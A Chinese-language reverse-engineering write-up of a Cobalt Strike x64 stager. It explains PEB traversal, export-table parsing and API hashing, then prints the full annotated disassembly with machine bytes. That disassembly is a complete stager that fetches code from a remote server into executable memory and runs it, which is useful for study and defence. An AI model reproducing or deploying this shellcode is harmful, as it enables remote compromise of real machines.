声明:本内容只作为个人学习研究使用,请勿用作其他用途。
本文对CS生成的stage类型的shellocde进行分析,最后附上带有注释的ida反汇编源码
先说结论:CS生成的stage马的执行流程简单来说就是普通的win编程,先
LoadLibrary('wininet.dll'),然后就是正常的访问网络数据请求,也就是open一个网络句柄,然后connect这个句柄,然后open一个request,然后发送这个request,virtualAlloc申请,并用InternetReadFile读取网络数据到内存里然后执行这么一个流程。只不过并不是直接调用这些api,而是通过遍历内存中加载的dll以及对应dll导出表来获取这些api的地址进行调用的。而这些dll又是通过获取teb再获取peb一步一步索引到的。根据这个流程其实可以直接用C写一个stage马。
shellcode在cld和操作rsp之后,call了sub_D2,此函数前半部分代码如下,做了准备参数的工作然后通过call回到调用此函数的下一条函数地址去了。
sub_D2 proc far ; CODE XREF: seg000:0000000000000005↑p
pop rbp ;call压栈的返回地址pop给rbp
push 0 ;压栈0
mov r14, 'teniniw' ;wininet
push r14 ;压栈'teniniw'
mov r14, rsp
mov rcx, r14 ;rcx=rsp,相当于传参
mov r10d, 726774Ch ;r10d=726774Ch,相当于传参
call rbp ;jmp到call的下一条指令
补充:
x64函数调用规则vc函数传参为rcx,rdx,r8,r9
接着shellcode中有如下代码
xor rdx, rdx
mov rdx, gs:[rdx+60h]
mov rdx, [rdx+18h]
mov rdx, [rdx+20h]
loc_21: ; CODE XREF: seg000:00000000000000CD↓j
mov rsi, [rdx+50h]
movzx rcx, word ptr [rdx+4Ah]
预备知识:
- GS段寄存器在用户态指向TEB(Thread Environment Block,线程环境块)
- 进程中每个线程都对应一个TEB结构体,而TEB中又存储着PEB地址。通过遍历PEB可以获取kernell32和ntdll的基址,进而可以调用系统api。
windbg中查看_TEB结构,gs:[60h]就是_PEB
windbg中查看_PEB,偏移0x18处是Ldr
如下图,_PEB_LDR_DATA(Ldr)偏移0x20是InMemoryOrderModuleList : _LIST_ENTRY,
注意:
这里取到的地址是指向了
_LDR_DATA_TABLE_ENTRY结构体中的InMemoryOrderLinks成员变量的地址,而不是_LDR_DATA_TABLE_ENTRY结构体的地址。稍后会详细说明
在_PEB_LDR_DATA中包含三个_LIST_ENTRY
InLoadOrderModuleList: 模块加载顺序
InMemoryOrderModuleList: 模块在内存中的顺序
InInitializationOrderModuleList: 模块初始化装载顺序
_LIST_ENTRY结构体定义如下
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
_LIST_ENTRY这个双链表指向进程装载的模块,结构中的每个指针指向了一个_LDR_DATA_TABLE_ENTRY的结构。
说明:
为啥
_LIST_ENTRY结构体里是两个_LIST_ENTRY类型指针,却指向了_LDR_DATA_TABLE_ENTRY结构呢,这就是操作系统设计时的一个细节,双向链表头都是用的这个结构。又因为指针类型占用字节空间大小一样,所以完全兼容。
预备知识:
PEB.Ldr中的三个值,
Ldr.InLoadOrderModuleList,Ldr.InMemoryOrderModuleList,Ldr.InInitializationOrderModuleList并不是直接指向_LDR_DATA_TABLE_ENTRY结构体首地址。而是一个对应的关系。即
Ldr.InLoadOrderModuleList指向_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks;Ldr.InMemoryOrderModuleList指向_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinkswindbg中
!peb查看ped地址,根据这个地址转成_PEB_LDR_DATAdt _PEB_LDR_DATA 0x00007fffc853c4c0,在根据_PEB_LDR_DATA结构体中的InLoadOrderModuleList地址查看_LDR_DATA_TABLE_ENTRY,dt _LDR_DATA_TABLE_ENTRY 0x0000021ec41c3390可以证实。
查看_LDR_DATA_TABLE_ENTRY结构
_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks偏移50h就指向了BaseDllName这个_UNICODE_STRING结构体
查看_UNICODE_STRING,0x48+0x8=0x50,也就是指向了Buffer,这里存储的就是Dll名,可以通过这个名字确定当前遍历到的dll是不是自己想要的。再借助_LIST_ENTRY就可以遍历这整个由_LIST_ENTRY 组织起来的双向循环链表了。
接下来代码就是将dll名字放到rsi,长度MaximumLength放到rcx
loc_21: ; CODE XREF: seg000:00000000000000CD↓j
mov rsi, [rdx+50h]
movzx rcx, word ptr [rdx+4Ah]
然后将dll名小写字母转换成大写字母,并操作了r9d寄存器,rcx为0时退出loop
loc_2D: ; CODE XREF: seg000:000000000000003E↓j
xor rax, rax
lodsb
cmp al, 61h ; 'a'
jl short loc_37
sub al, 20h ; ' '
loc_37: ; CODE XREF: seg000:0000000000000033↑j
ror r9d, 0Dh
add r9d, eax
loop loc_2D
然后遍历dll,并对每个dll遍历导出函数,来找给定hash值的函数api的地址,找到的话就调用了
push rdx ;InMemoryOrderModuleList,指向_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks
push r9
mov rdx, [rdx+20h] ;rdx = DllBase,即dos头在内存的位置
mov eax, [rdx+3Ch] ;eax = PE头相对于文件的偏移地址
add rax, rdx ;rax = PE头在内存的地址
cmp word ptr [rax+18h], 20Bh ;pe扩展头,0x20B表示64位可执行文件
jnz short loc_C7 ;判断是否是64位可执行文件
mov eax, [rax+88h] ;eax = 导出地址表
test rax, rax ;一般dll有导出表,而exe没有,这里是查看此文件是否为dll
jz short loc_C7
add rax, rdx ;rax = 导出表在内存中的地址
push rax
mov ecx, [rax+18h] ;ecx = NumberOfNames
mov r8d, [rax+20h] ;r8d = AddressOfNames
add r8, rdx ;r8 = AddressOfNames在内存中的地址
loc_6E: ; CODE XREF: seg000:0000000000000094↓j
jrcxz loc_C6 ;rcx=0时跳转到loc_C6
dec rcx
mov esi, [r8+rcx*4] ;esi = 导出函数字符串的地址
add rsi, rdx ;dll名在内存中的地址
xor r9, r9
loc_7D: ;求hash计算 ; CODE XREF: seg000:000000000000008A↓j
xor rax, rax
lodsb ;al = rsi
ror r9d, 0Dh
add r9d, eax
cmp al, ah
jnz short loc_7D
add r9, [rsp+8]
cmp r9d, r10d ;当前api字符串的hash和给定的r10d是否一样
jnz short loc_6E ;不一样就接着遍历下一个导出的函数
pop rax ;rax = 导出表在内存中的地址
mov r8d, [rax+24h] ;r8d = AddressOfNameOrdinals(导出函数序号表RVA)
add r8, rdx ;r8d = AddressOfNameOrdinals(导出函数序号表RVA)在内存的地址
mov cx, [r8+rcx*2] ;cx = 函数序号
mov r8d, [rax+1Ch] ;r8d = AddressOfFunctions(导出函数地址表RVA)
add r8, rdx ;r8d = AddressOfFunctions在内存的地址
mov eax, [r8+rcx*4] ;eax=api地址
add rax, rdx ;eax = api在内存中的地址
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 20h
push r10 ;相当于call前的返回地址
jmp rax ;布置参数,调用api,此时rax就是要调用的api的地址
; ---------------------------------------------------------------------------
loc_C6: ; CODE XREF: seg000:loc_6E↑j
pop rax
loc_C7: ; CODE XREF: seg000:0000000000000053↑j
; seg000:000000000000005E↑j
pop r9
pop rdx ;InMemoryOrderModuleList,指向_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks
mov rdx, [rdx] ;InMemoryOrderLinks->Flink,即遍历dll
jmp loc_21
补充:
- pe文件的dos头
typedef struct _IMAGE_DOS_HEADER { WORD e_magic; //MZ标志位(也叫魔数),例如0x4D5A表示是一个MS-DOS下的可执行文件 WORD e_cblp; //文件最后一页的字节数 WORD e_cp; //文件的页数 WORD e_crlc; //DOS Stub中重定位项的个数 WORD e_cparhdr; //区段(也叫节)中头部大小 WORD e_minalloc; //最小附加内存要求 WORD e_maxalloc; //最大附加内存要求 WORD e_ss; //初始化SS寄存器 WORD e_sp; //初始化SP寄存器 WORD e_csum; //校验和 WORD e_ip; //初始化IP寄存器 WORD e_cs; //初始化CS寄存器 WORD e_lfarlc; //重定位表的偏移,其实就是指向DOS Stub的偏移 WORD e_ovno; //附加的数量 WORD e_res[4]; //保留他用 WORD e_oemid; //oem相关信息(oem:原始设备制造商) WORD e_oeminfo; //oem相关信息 WORD e_res2[10]; //保留他用 LONG e_lfanew; //一般指向pe文件头 +003ch } IMAGE_DOS_HEADER,*PIMAGE_DOS_HEADER;
- pe文件的pe头
typedef struct _IMAGE_NT_HEADERS64 { DWORD Signature; //PE标识 IMAGE_FILE_HEADER FileHeader; //文件头 IMAGE_OPTIONAL_HEADER64 OptionalHeader; //扩展头 +0018h } IMAGE_NT_HEADERS64,*PIMAGE_NT_HEADERS64;
- IMAGE_OPTIONAL_HEADER64结构体
typedef struct _IMAGE_OPTIONAL_HEADER64 { WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; DWORD BaseOfCode; ULONGLONG ImageBase; DWORD SectionAlignment; DWORD FileAlignment; WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; DWORD SizeOfHeaders; DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; ULONGLONG SizeOfStackReserve; ULONGLONG SizeOfStackCommit; ULONGLONG SizeOfHeapReserve; ULONGLONG SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;
- 导出表结构体
typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; //未使用 DWORD TimeDateStamp; //时间戳 WORD MajorVersion; //未使用 WORD MinorVersion; //未使用 DWORD Name; //指向改导出表文件名字符串 DWORD Base; //导出表的起始序号 DWORD NumberOfFunctions; //导出函数的个数(更准确来说是AddressOfFunctions的元素数,而不是函数个数) DWORD NumberOfNames; //以函数名字导出的函数个数 DWORD AddressOfFunctions; //导出函数地址表RVA:存储所有导出函数地址(表元素宽度为4,总大小NumberOfFunctions * 4) DWORD AddressOfNames; //导出函数名称表RVA:存储函数名字符串所在的地址(表元素宽度为4,总大小为NumberOfNames * 4) DWORD AddressOfNameOrdinals; //导出函数序号表RVA:存储函数序号(表元素宽度为2,总大小为NumberOfNames * 2) } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
最复杂的部分就上面这块遍历dll和其导出的api了,其中主要涉及到一个求函数hash的算法,没太看明白,但是x64dbg动调的过程中都能恢复出来
0x0726774C——LoadLibraryA
0xA779563A——InternetOpenA
0xC69F8957——InternetConnectA
0x3B2E55EB—–HttpOpenRequestA
0x7B18062D—–HttpSendRequestA
0xE553A458—–VirtualAlloc
0xE2899612—–InternetReadFile
下图就是对LoadLibraryA这个api求出hash后和r10d进行比较的截图
总结一下stage马调用的api的流程如下
1.LoadLibraryA加载wininet.dll
2.InternetOpenA=>InternetConnectA=>HttpOpenRequestA=>HttpSendRequestA
3.VirtualAlloc
4.InternetReadFile读入完整shellcode
最后贴一下注释后的汇编代码
seg000:0000000000000000 ; Segment type: Pure code
seg000:0000000000000000 seg000 segment byte public 'CODE' use64
seg000:0000000000000000 assume cs:seg000
seg000:0000000000000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:0000000000000000 FC cld
seg000:0000000000000001 48 83 E4 F0 and rsp, 0FFFFFFFFFFFFFFF0h
seg000:0000000000000005 E8 C8 00 00 00 call near ptr sub_D2
seg000:0000000000000005
seg000:000000000000000A 41 51 push r9
seg000:000000000000000C 41 50 push r8
seg000:000000000000000E 52 push rdx
seg000:000000000000000F 51 push rcx
seg000:0000000000000010 56 push rsi
seg000:0000000000000011 48 31 D2 xor rdx, rdx
seg000:0000000000000014 65 48 8B 52 60 mov rdx, gs:[rdx+60h] ;PEB
seg000:0000000000000019 48 8B 52 18 mov rdx, [rdx+18h] ;Ldr
seg000:000000000000001D 48 8B 52 20 mov rdx, [rdx+20h] ;InMemoryOrderModuleList,指向_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks
seg000:000000000000001D
seg000:0000000000000021
seg000:0000000000000021 loc_21: ; CODE XREF: seg000:00000000000000CD↓j
seg000:0000000000000021 48 8B 72 50 mov rsi, [rdx+50h] ;Buffer:dll名
seg000:0000000000000025 48 0F B7 4A 4A movzx rcx, word ptr [rdx+4Ah] ;MaximumLength
seg000:000000000000002A 4D 31 C9 xor r9, r9
seg000:000000000000002A
seg000:000000000000002D
seg000:000000000000002D loc_2D: ; CODE XREF: seg000:000000000000003E↓j
seg000:000000000000002D 48 31 C0 xor rax, rax
seg000:0000000000000030 AC lodsb
seg000:0000000000000031 3C 61 cmp al, 61h ; 'a'
seg000:0000000000000033 7C 02 jl short loc_37
seg000:0000000000000033
seg000:0000000000000035 2C 20 sub al, 20h ; ; 小写转大写
seg000:0000000000000035
seg000:0000000000000037
seg000:0000000000000037 loc_37: ; CODE XREF: seg000:0000000000000033↑j
seg000:0000000000000037 41 C1 C9 0D ror r9d, 0Dh ;更新r9d
seg000:000000000000003B 41 01 C1 add r9d, eax
seg000:000000000000003E E2 ED loop loc_2D ;rcx为0时退出loop
seg000:000000000000003E
seg000:0000000000000040 52 push rdx ;InMemoryOrderModuleList,指向_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks
seg000:0000000000000041 41 51 push r9
seg000:0000000000000043 48 8B 52 20 mov rdx, [rdx+20h] ;rdx = DllBase,即dos头在内存的位置
seg000:0000000000000047 8B 42 3C mov eax, [rdx+3Ch] ;eax = PE头相对于文件的偏移地址
seg000:000000000000004A 48 01 D0 add rax, rdx ;rax = PE头在内存的地址
seg000:000000000000004D 66 81 78 18 0B 02 cmp word ptr [rax+18h], 20Bh ;pe扩展头,0x20B表示64位可执行文件
seg000:0000000000000053 75 72 jnz short loc_C7 ;判断是否是64位可执行文件
seg000:0000000000000053
seg000:0000000000000055 8B 80 88 00 00 00 mov eax, [rax+88h] ;eax = 导出地址表
seg000:000000000000005B 48 85 C0 test rax, rax ;一般dll有导出表,而exe没有,这里是查看此文件是否为dll
seg000:000000000000005E 74 67 jz short loc_C7
seg000:000000000000005E
seg000:0000000000000060 48 01 D0 add rax, rdx ;rax = 导出表在内存中的地址
seg000:0000000000000063 50 push rax
seg000:0000000000000064 8B 48 18 mov ecx, [rax+18h] ;ecx = NumberOfNames
seg000:0000000000000067 44 8B 40 20 mov r8d, [rax+20h] ;r8d = AddressOfNames
seg000:000000000000006B 49 01 D0 add r8, rdx ;r8 = AddressOfNames在内存中的地址
seg000:000000000000006B
seg000:000000000000006E
seg000:000000000000006E loc_6E: ; CODE XREF: seg000:0000000000000094↓j
seg000:000000000000006E E3 56 jrcxz loc_C6 ;rcx=0时跳转到loc_C6
seg000:000000000000006E
seg000:0000000000000070 48 FF C9 dec rcx
seg000:0000000000000073 41 8B 34 88 mov esi, [r8+rcx*4] ;esi = 导出函数字符串的地址
seg000:0000000000000077 48 01 D6 add rsi, rdx ;dll名在内存中的地址
seg000:000000000000007A 4D 31 C9 xor r9, r9
seg000:000000000000007A
seg000:000000000000007D
seg000:000000000000007D loc_7D: ;求hash计算 ; CODE XREF: seg000:000000000000008A↓j
seg000:000000000000007D 48 31 C0 xor rax, rax
seg000:0000000000000080 AC lodsb ;al = rsi
seg000:0000000000000081 41 C1 C9 0D ror r9d, 0Dh
seg000:0000000000000085 41 01 C1 add r9d, eax
seg000:0000000000000088 38 E0 cmp al, ah
seg000:000000000000008A 75 F1 jnz short loc_7D
seg000:000000000000008A
seg000:000000000000008C 4C 03 4C 24 08 add r9, [rsp+8]
seg000:0000000000000091 45 39 D1 cmp r9d, r10d ;当前api字符串的hash和给定的r10d是否一样
seg000:0000000000000094 75 D8 jnz short loc_6E ;不一样就接着遍历下一个导出的函数
seg000:0000000000000094
seg000:0000000000000096 58 pop rax ;rax = 导出表在内存中的地址
seg000:0000000000000097 44 8B 40 24 mov r8d, [rax+24h] ;r8d = AddressOfNameOrdinals(导出函数序号表RVA)
seg000:000000000000009B 49 01 D0 add r8, rdx ;r8d = AddressOfNameOrdinals(导出函数序号表RVA)在内存的地址
seg000:000000000000009E 66 41 8B 0C 48 mov cx, [r8+rcx*2] ;cx = 函数序号
seg000:00000000000000A3 44 8B 40 1C mov r8d, [rax+1Ch] ;r8d = AddressOfFunctions(导出函数地址表RVA)
seg000:00000000000000A7 49 01 D0 add r8, rdx ;r8d = AddressOfFunctions在内存的地址
seg000:00000000000000AA 41 8B 04 88 mov eax, [r8+rcx*4] ;eax=api地址
seg000:00000000000000AE 48 01 D0 add rax, rdx ;eax = api在内存中的地址
seg000:00000000000000B1 41 58 pop r8
seg000:00000000000000B3 41 58 pop r8
seg000:00000000000000B5 5E pop rsi
seg000:00000000000000B6 59 pop rcx
seg000:00000000000000B7 5A pop rdx
seg000:00000000000000B8 41 58 pop r8
seg000:00000000000000BA 41 59 pop r9
seg000:00000000000000BC 41 5A pop r10
seg000:00000000000000BE 48 83 EC 20 sub rsp, 20h
seg000:00000000000000C2 41 52 push r10 ;相当于call前的返回地址
seg000:00000000000000C4 FF E0 jmp rax ;布置参数,调用api,此时rax就是要调用的api的地址
seg000:00000000000000C4
seg000:00000000000000C6 ; ---------------------------------------------------------------------------
seg000:00000000000000C6
seg000:00000000000000C6 loc_C6: ; CODE XREF: seg000:loc_6E↑j
seg000:00000000000000C6 58 pop rax
seg000:00000000000000C6
seg000:00000000000000C7
seg000:00000000000000C7 loc_C7: ; CODE XREF: seg000:0000000000000053↑j
seg000:00000000000000C7 ; seg000:000000000000005E↑j
seg000:00000000000000C7 41 59 pop r9
seg000:00000000000000C9 5A pop rdx ;InMemoryOrderModuleList,指向_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks
seg000:00000000000000CA 48 8B 12 mov rdx, [rdx] ;InMemoryOrderLinks->Flink,即遍历dll
seg000:00000000000000CD E9 4F FF FF FF jmp loc_21
seg000:00000000000000CD
seg000:00000000000000D2
seg000:00000000000000D2 ; =============== S U B R O U T I N E =======================================
seg000:00000000000000D2
seg000:00000000000000D2
seg000:00000000000000D2 ; void sub_D2()
seg000:00000000000000D2 sub_D2 proc far ; CODE XREF: seg000:0000000000000005↑p
seg000:00000000000000D2 5D pop rbp ;返回地址(0x000A)pop给rbp
seg000:00000000000000D3 6A 00 push 0 ;压栈0
seg000:00000000000000D5 49 BE 77 69 6E 69 6E 65 74 00 mov r14, 'teniniw'
seg000:00000000000000DF 41 56 push r14 ;压栈'teniniw'
seg000:00000000000000E1 49 89 E6 mov r14, rsp
seg000:00000000000000E4 4C 89 F1 mov rcx, r14 ;rcx=rsp,相当于传参
seg000:00000000000000E7 41 BA 4C 77 26 07 mov r10d, 726774Ch ;r10d=LoadLibraryA,相当于传参
seg000:00000000000000ED FF D5 call rbp ;jmp到0x000A
seg000:00000000000000ED
seg000:00000000000000EF 48 31 C9 xor rcx, rcx
seg000:00000000000000F2 48 31 D2 xor rdx, rdx
seg000:00000000000000F5 4D 31 C0 xor r8, r8
seg000:00000000000000F8 4D 31 C9 xor r9, r9
seg000:00000000000000FB 41 50 push r8
seg000:00000000000000FD 41 50 push r8
seg000:00000000000000FF 41 BA 3A 56 79 A7 mov r10d, 0A779563Ah ;InternetOpenA
seg000:0000000000000105 FF D5 call rbp
seg000:0000000000000105
seg000:0000000000000107 EB 73 jmp short loc_17C
seg000:0000000000000107
seg000:0000000000000107 sub_D2 endp
seg000:0000000000000109
seg000:0000000000000109 ; =============== S U B R O U T I N E =======================================
seg000:0000000000000109
seg000:0000000000000109
seg000:0000000000000109 ; void __fastcall sub_109()
seg000:0000000000000109 sub_109 proc far ; CODE XREF: sub_128:loc_365↓p
seg000:0000000000000109 5A pop rdx
seg000:000000000000010A 48 89 C1 mov rcx, rax
seg000:000000000000010D 41 B8 B3 15 00 00 mov r8d, 15B3h
seg000:0000000000000113 4D 31 C9 xor r9, r9
seg000:0000000000000116 41 51 push r9
seg000:0000000000000118 41 51 push r9
seg000:000000000000011A 6A 03 push 3
seg000:000000000000011C 41 51 push r9
seg000:000000000000011E 41 BA 57 89 9F C6 mov r10d, 0C69F8957h ;InternetConnectA
seg000:0000000000000124 FF D5 call rbp
seg000:0000000000000124
seg000:0000000000000126 EB 59 jmp short loc_181
seg000:0000000000000126
seg000:0000000000000126 sub_109 endp
seg000:0000000000000126
seg000:0000000000000128
seg000:0000000000000128 ; =============== S U B R O U T I N E =======================================
seg000:0000000000000128
seg000:0000000000000128
seg000:0000000000000128 sub_128 proc far ; CODE XREF: sub_128:loc_181↓p
seg000:0000000000000128 5B pop rbx
seg000:0000000000000129 48 89 C1 mov rcx, rax
seg000:000000000000012C 48 31 D2 xor rdx, rdx
seg000:000000000000012F 49 89 D8 mov r8, rbx
seg000:0000000000000132 4D 31 C9 xor r9, r9
seg000:0000000000000135 52 push rdx
seg000:0000000000000136 68 00 02 40 84 push 0FFFFFFFF84400200h
seg000:000000000000013B 52 push rdx
seg000:000000000000013C 52 push rdx
seg000:000000000000013D 41 BA EB 55 2E 3B mov r10d, 3B2E55EBh ;HttpOpenRequestA
seg000:0000000000000143 FF D5 call rbp
seg000:0000000000000143
seg000:0000000000000145 48 89 C6 mov rsi, rax
seg000:0000000000000148 48 83 C3 50 add rbx, 50h ; 'P'
seg000:000000000000014C 6A 0A push 0Ah
seg000:000000000000014E 5F pop rdi
seg000:000000000000014E
seg000:000000000000014F
seg000:000000000000014F loc_14F: ; CODE XREF: sub_128+52↓j
seg000:000000000000014F 48 89 F1 mov rcx, rsi
seg000:0000000000000152 48 89 DA mov rdx, rbx
seg000:0000000000000155 49 C7 C0 FF FF FF FF mov r8, 0FFFFFFFFFFFFFFFFh
seg000:000000000000015C 4D 31 C9 xor r9, r9
seg000:000000000000015F 52 push rdx
seg000:0000000000000160 52 push rdx
seg000:0000000000000161 41 BA 2D 06 18 7B mov r10d, 7B18062Dh ;HttpSendRequestA
seg000:0000000000000167 FF D5 call rbp
seg000:0000000000000167
seg000:0000000000000169 85 C0 test eax, eax
seg000:000000000000016B 0F 85 9D 01 00 00 jnz loc_30E
seg000:000000000000016B
seg000:0000000000000171 48 FF CF dec rdi
seg000:0000000000000174 0F 84 8C 01 00 00 jz loc_306
seg000:0000000000000174
seg000:000000000000017A EB D3 jmp short loc_14F
seg000:000000000000017A
seg000:000000000000017C ; ---------------------------------------------------------------------------
seg000:000000000000017C
seg000:000000000000017C loc_17C: ; CODE XREF: sub_D2+35↑j
seg000:000000000000017C E9 E4 01 00 00 jmp loc_365
seg000:000000000000017C
seg000:0000000000000181 ; ---------------------------------------------------------------------------
seg000:0000000000000181
seg000:0000000000000181 loc_181: ; CODE XREF: sub_109+1D↑j
seg000:0000000000000181 E8 A2 FF FF FF call near ptr sub_128
seg000:0000000000000181
seg000:0000000000000181 ; ---------------------------------------------------------------------------
seg000:0000000000000186 2F db 2Fh ; /
seg000:0000000000000187 57 db 57h ; W
seg000:0000000000000188 41 db 41h ; A
seg000:0000000000000189 79 db 79h ; y
seg000:000000000000018A ; ---------------------------------------------------------------------------
seg000:000000000000018A 4C 00 44 66 6D add [rsi+6Dh], r8b
seg000:000000000000018F AA stosb
seg000:0000000000000190 AF scasd
seg000:0000000000000191 AD lodsd
seg000:0000000000000192 04 A4 add al, 0A4h
seg000:0000000000000194 CB retf
seg000:0000000000000194
seg000:0000000000000194 ; ---------------------------------------------------------------------------
seg000:0000000000000195 DF db 0DFh
seg000:0000000000000196 53 db 53h ; S
seg000:0000000000000197 F9 db 0F9h
seg000:0000000000000198 A2 db 0A2h
seg000:0000000000000199 35 db 35h ; 5
seg000:000000000000019A CC db 0CCh
seg000:000000000000019B 69 65 22 2C 62 db 69h, 65h, 22h, 2Ch, 62h
seg000:00000000000001A0 C1 db 0C1h
seg000:00000000000001A1 F3 7C 33 D0 4A D4 28 db 0F3h, 7Ch, 33h, 0D0h, 4Ah, 0D4h, 28h
seg000:00000000000001A8 E6 db 0E6h
seg000:00000000000001A9 44 db 44h ; D
seg000:00000000000001AA AB db 0ABh
seg000:00000000000001AB 77 db 77h ; w
seg000:00000000000001AC EB db 0EBh
seg000:00000000000001AD ; ---------------------------------------------------------------------------
seg000:00000000000001AD CF iret
seg000:00000000000001AD
seg000:00000000000001AD ; ---------------------------------------------------------------------------
seg000:00000000000001AE 9C db 9Ch
seg000:00000000000001AF 39 db 39h
seg000:00000000000001B0 79 db 79h ; y
seg000:00000000000001B1 A2 db 0A2h
seg000:00000000000001B2 BC FC FB 07 0F 88 dw 0FCBCh, 7FBh, 880Fh
seg000:00000000000001B8 B9 db 0B9h
seg000:00000000000001B9 9A 0A B3 40 FE 13 72 db 9Ah, 0Ah, 0B3h, 40h, 0FEh, 13h, 72h
seg000:00000000000001C0 C0 db 0C0h
seg000:00000000000001C1 F8 db 0F8h
seg000:00000000000001C2 ED 89 2E 0D 02 AF dw 89EDh, 0D2Eh, 0AF02h
seg000:00000000000001C8 12 db 12h
seg000:00000000000001C9 27 db 27h ; '
seg000:00000000000001CA B5 db 0B5h
seg000:00000000000001CB E1 db 0E1h
seg000:00000000000001CC AC db 0ACh
seg000:00000000000001CD 25 db 25h ; %
seg000:00000000000001CE 70 db 70h ; p
seg000:00000000000001CF 40 db 40h ; @
seg000:00000000000001D0 DC db 0DCh
seg000:00000000000001D1 77 db 77h ; w
seg000:00000000000001D2 6F 70 3A 00 55 73 dw 706Fh, 3Ah, 7355h
seg000:00000000000001D8 65 72 2D 41 67 65 6E 74 3A 20+aErAgentMozilla db 'er-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)',0Dh,0Ah,0
seg000:0000000000000224 E3 db 0E3h
seg000:0000000000000225 A5 db 0A5h
seg000:0000000000000226 C1 D4 dw 0D4C1h
seg000:0000000000000228 45 db 45h ; E
seg000:0000000000000229 CD db 0CDh
seg000:000000000000022A A2 db 0A2h
seg000:000000000000022B 97 4B 6E E7 69 db 97h, 4Bh, 6Eh, 0E7h, 69h
seg000:0000000000000230 09 E0 31 33 83 3A 16 E4 98 3B+dq 0E4163A833331E009h, 221644ED23C83B98h, 0D99D2F2F0C07B406h, 0E57CD91E38BAA52Ch, 97978D4623192469h
seg000:0000000000000230 C8 23 ED 44 16 22 06 B4 07 0C+dq 0E7D644D2688DF9BFh, 32C55F32D702A2BFh, 0F1EC9B23EB325FAEh, 0D03751F8840C72ABh, 0AF85A91909DEE8AEh
seg000:0000000000000230 2F 2F 9D D9 2C A5 BA 38 1E D9+dq 0DF475E2F44852A1Dh, 8BD2EDEA7B957364h, 609D92702270C53Ah, 0A9127DD56D94882Dh, 0F9F2C3869C60908Eh
seg000:0000000000000230 7C E5 69 24 19 23 46 8D 97 97+dq 974BC35C24F42D30h, 0C58807B1F25C7501h, 0D42C5A48B37A964Bh, 58EB8381E16732CAh, 9D9D489FAFB48F2Ah, 0AAAAA156823E52C9h
seg000:0000000000000230 BF F9 8D 68 D2 44 D6 E7 BF A2+dq 6CCEA714DC133A65h, 2DD8F95CBFA09991h, 382B2F4C975AA73Bh, 0ECC6D441C2900D6Ah, 3C9CE3F3BF6F5075h
seg000:0000000000000300 D4 03 07 8F BB 00 db 0D4h, 3, 7, 8Fh, 0BBh, 0
seg000:0000000000000306 ; ---------------------------------------------------------------------------
seg000:0000000000000306
seg000:0000000000000306 loc_306: ; CODE XREF: sub_128+4C↑j
seg000:0000000000000306 ; sub_128+226↓j
seg000:0000000000000306 41 BE F0 B5 A2 56 mov r14d, 56A2B5F0h
seg000:000000000000030C FF D5 call rbp
seg000:000000000000030C
seg000:000000000000030E
seg000:000000000000030E loc_30E: ; CODE XREF: sub_128+43↑j
seg000:000000000000030E 48 31 C9 xor rcx, rcx
seg000:0000000000000311 BA 00 00 40 00 mov edx, 400000h
seg000:0000000000000316 41 B8 00 10 00 00 mov r8d, 1000h
seg000:000000000000031C 41 B9 40 00 00 00 mov r9d, 40h ; '@'
seg000:0000000000000322 41 BA 58 A4 53 E5 mov r10d, 0E553A458h ;VirtualAlloc
seg000:0000000000000328 FF D5 call rbp
seg000:0000000000000328
seg000:000000000000032A 48 93 xchg rax, rbx
seg000:000000000000032C 53 push rbx
seg000:000000000000032D 53 push rbx
seg000:000000000000032E 48 89 E7 mov rdi, rsp
seg000:000000000000032E
seg000:0000000000000331
seg000:0000000000000331 loc_331: ; CODE XREF: sub_128+230↓j
seg000:0000000000000331 48 89 F1 mov rcx, rsi
seg000:0000000000000334 48 89 DA mov rdx, rbx
seg000:0000000000000337 41 B8 00 20 00 00 mov r8d, 2000h
seg000:000000000000033D 49 89 F9 mov r9, rdi
seg000:0000000000000340 41 BA 12 96 89 E2 mov r10d, 0E2899612h ;InternetReadFile
seg000:0000000000000346 FF D5 call rbp
seg000:0000000000000346
seg000:0000000000000348 48 83 C4 20 add rsp, 20h
seg000:000000000000034C 85 C0 test eax, eax
seg000:000000000000034E 74 B6 jz short loc_306
seg000:000000000000034E
seg000:0000000000000350 66 8B 07 mov ax, [rdi]
seg000:0000000000000353 48 01 C3 add rbx, rax
seg000:0000000000000356 85 C0 test eax, eax
seg000:0000000000000358 75 D7 jnz short loc_331
seg000:0000000000000358
seg000:000000000000035A 58 pop rax
seg000:000000000000035B 58 pop rax
seg000:000000000000035C 58 pop rax
seg000:000000000000035D 48 05 00 00 00 00 add rax, 0
seg000:0000000000000363 50 push rax
seg000:0000000000000364 C3 retn
seg000:0000000000000364
seg000:0000000000000365 ; ---------------------------------------------------------------------------
seg000:0000000000000365
seg000:0000000000000365 loc_365: ; CODE XREF: sub_128:loc_17C↑j
seg000:0000000000000365 E8 9F FD FF FF call near ptr sub_109
seg000:0000000000000365
